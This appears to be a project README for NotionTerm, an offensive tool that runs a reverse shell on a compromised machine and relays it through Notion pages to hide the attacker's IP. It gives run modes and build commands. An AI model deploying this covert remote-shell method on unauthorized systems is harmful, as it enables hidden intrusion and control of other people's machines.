NotionTerm - Embed reverse shell in Notion pages
Embed reverse shell in Notion pages.
Hack while taking notes

FOR ➕:

  • Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)
  • Demo/Quick proof insertion within report
  • High available and shareable reverse shell (desktop, browser, mobile)
  • Encrypted and authenticated remote shell


  • Long and interactive shell session (see tacos for that)

Why? 🤔

The focus was on making something fun while still being usable, but that’s not meant to be THE solution for reverse shell in the pentester’s arsenal

How? 🤷‍♂️

Just use notion as usual and launch notionterm on target.

Requirements 🖊️

  • Notion software and API key
  • Allowed HTTP communication from the target to the notion domain
  • Prior RCE on target

roughly inspired by the great idea of OffensiveNotion and notionion!


🏗️ Set-up

  1. Create a page and give to the integration API key the permissions to have page write access
  2. Build notionterm and transfer it on target machine (see install)

👟 Run

There are 3 main ways to run notionterm:

“normal” mode
Get terminal, stop/unstop it, etc… notionterm [flags]
Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFF to pause, turn ON to resume etc… “server” mode
Ease notionterm embedding in any page notionterm --server [flags]
Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]. light mode
Only perform HTTP traffic from target → notion notionterm light [flags]


As notionterm is aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement:


Simple build

git clone && cd notionterm
GOOS=$GOOS go build notionterm.go

You will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url)

“All-inclusive” build

Embed directly the notion integration API token and notion page url in the binary. ⚠️ everybody with access to the binary can retrieved the token. For security reason don’t share it and remove it after use.

Set according env var:


And build it:

git clone && cd notionterm
./ $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go

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